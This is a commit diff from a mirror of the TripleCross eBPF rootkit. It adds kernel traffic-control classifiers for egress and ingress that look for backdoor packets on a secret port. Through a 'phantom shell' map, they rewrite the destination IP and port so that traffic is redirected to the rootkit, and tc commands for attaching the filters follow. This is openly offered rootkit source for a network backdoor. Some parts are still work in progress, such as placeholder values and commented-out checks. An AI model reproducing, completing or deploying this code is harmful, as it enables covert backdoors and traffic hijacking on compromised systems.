mirror of
https://github.com/h3xduck/TripleCross.git
synced 2025-12-20 16:53:07 +08:00
Added test on tc clasiffier, added pinned maps, and obtaining the fd from other maps in order to synchronize between programs
This commit is contained in:
@@ -1,3 +1,4 @@
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/pkt_cls.h>
|
||||
#include <linux/if_ether.h>
|
||||
@@ -5,13 +6,21 @@
|
||||
#include <linux/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/swab.h>
|
||||
#include <linux/types.h>
|
||||
//#include <bpf/libbpf.h>
|
||||
//#include <bpf/libbpf.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
//#include <bpf/bpf_core_read.h>
|
||||
//#include <bpf/bpf_endian.h>
|
||||
//#include <bpf/bpf.h>
|
||||
|
||||
#define __H_TCKIT
|
||||
#include "defs.h"
|
||||
#include "../../../common/constants.h"
|
||||
|
||||
SEC("classifier/egress")
|
||||
int classifier(struct __sk_buff *skb){
|
||||
int classifier_egress(struct __sk_buff *skb){
|
||||
void *data = (void *)(__u64)skb->data;
|
||||
void *data_end = (void *)(__u64)skb->data_end;
|
||||
bpf_printk("TC egress classifier called\n");
|
||||
@@ -48,17 +57,133 @@ int classifier(struct __sk_buff *skb){
|
||||
}
|
||||
|
||||
//We now proceed to scan for our backdoor packets
|
||||
__u16 dest_port = ntohs(tcp->dest);
|
||||
/*__u16 dest_port = ntohs(tcp->dest);
|
||||
if(dest_port != SECRET_PACKET_DEST_PORT){
|
||||
bpf_printk("PORT CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}*/
|
||||
|
||||
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
|
||||
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
||||
|
||||
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
/*bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
|
||||
char* payload = (void *)(tcp + tcp->doff*4);
|
||||
if ((void*)payload + payload_size > data_end){
|
||||
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
|
||||
return TC_ACT_OK;
|
||||
}*/
|
||||
|
||||
//Mark skb buffer readable and writable
|
||||
bpf_skb_pull_data(skb, 0);
|
||||
|
||||
bpf_printk("PAYLOAD size: %u\n", payload_size);
|
||||
|
||||
//We redirect whatever packet this is to the rootkit
|
||||
//The TCP retransmissions will be in charge of resending it correctly later
|
||||
__u64 key = 1;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
if(ps_data == (void*)0){
|
||||
//Phantom shell not active
|
||||
bpf_printk("Phantom shell NOT active anytime\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ps_data->active == 0){
|
||||
bpf_printk("Phantom shell NOT active now\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
bpf_printk("Phantom shell active now, active is %i\n", ps_data->active);
|
||||
__u32 new_ip = ps_data->d_ip;
|
||||
__u16 new_port = ps_data->d_port;
|
||||
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
|
||||
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||
bpf_printk("offset ip: %u\n", offset_ip);
|
||||
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
bpf_printk("offset port: %u\n", offset_port);
|
||||
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
return TC_ACT_OK;
|
||||
|
||||
}
|
||||
|
||||
SEC("classifier/ingress")
|
||||
int classifier_ingress(struct __sk_buff *skb){
|
||||
void *data = (void *)(__u64)skb->data;
|
||||
void *data_end = (void *)(__u64)skb->data_end;
|
||||
bpf_printk("TC ingress classifier called\n");
|
||||
|
||||
//We are interested on parsing TCP/IP packets so let's assume we have one
|
||||
//Ethernet header
|
||||
struct ethhdr *eth = data;
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
bpf_printk("ETH\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(eth->h_proto != htons(ETH_P_IP)){
|
||||
//Not an IP packet
|
||||
bpf_printk("IP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//IP header
|
||||
struct iphdr *ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ip->protocol != IPPROTO_TCP){
|
||||
bpf_printk("TCP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//TCP header
|
||||
struct tcphdr *tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
|
||||
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
|
||||
bpf_printk("TCP CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//We now proceed to scan for our backdoor packets
|
||||
__u16 dest_port = ntohs(tcp->dest);
|
||||
if(dest_port != SECRET_PACKET_DEST_PORT){
|
||||
bpf_printk("PORT CHECK: %u\n", dest_port);
|
||||
//return TC_ACT_OK;
|
||||
}
|
||||
|
||||
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
|
||||
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
||||
|
||||
//Mark skb buffer readable and writable
|
||||
|
||||
|
||||
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
|
||||
char* payload = (void *)(tcp + tcp->doff*4);
|
||||
@@ -66,17 +191,68 @@ int classifier(struct __sk_buff *skb){
|
||||
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
//Mark skb buffer readable and writable
|
||||
bpf_skb_pull_data(skb, 0);
|
||||
|
||||
bpf_printk("PAYLOAD size: %u\n", payload_size);
|
||||
|
||||
|
||||
|
||||
//We redirect whatever packet this is to the rootkit
|
||||
//The TCP retransmissions will be in charge of resending it correctly later
|
||||
__u64 key = 1;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
if(ps_data == (void*)0){
|
||||
//Phantom shell not active
|
||||
bpf_printk("Phantom shell NOT active anytime\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ps_data->active == 0){
|
||||
bpf_printk("Phantom shell NOT active now\n");
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
ps_new_data.active = 1;
|
||||
ps_new_data.d_ip = 1;
|
||||
ps_new_data.d_port = 1;
|
||||
int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}
|
||||
|
||||
bpf_printk("Phantom shell active now: active is %i\n", ps_data->active);
|
||||
__u32 new_ip = ps_data->d_ip;
|
||||
__u16 new_port = ps_data->d_port;
|
||||
__u32 offset_ip = offsetof(struct iphdr, daddr)+ sizeof(struct ethhdr);
|
||||
__u16 offset_port = offsetof(struct tcphdr, dest)+ sizeof(struct ethhdr) + sizeof(struct iphdr);
|
||||
bpf_printk("offset ip: %u\n", offset_ip);
|
||||
int ret = bpf_skb_store_bytes(skb, offset_ip, &new_ip, sizeof(__u32), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination ip: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
bpf_printk("offset port: %u\n", offset_port);
|
||||
ret = bpf_skb_store_bytes(skb, offset_port, &new_port, sizeof(__u16), BPF_F_RECOMPUTE_CSUM);
|
||||
if (ret < 0) {
|
||||
bpf_printk("Failed to overwrite destination port: %d\n", ret);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
return TC_ACT_OK;
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* COMMANDS
|
||||
* sudo tc qdisc add dev lo clsact
|
||||
@@ -84,7 +260,7 @@ int classifier(struct __sk_buff *skb){
|
||||
* sudo tc filter show dev lo
|
||||
* sudo tc filter show dev lo egress
|
||||
*
|
||||
* tc qdisc del dev lo clsact
|
||||
* sudo tc qdisc del dev lo clsact
|
||||
*/
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user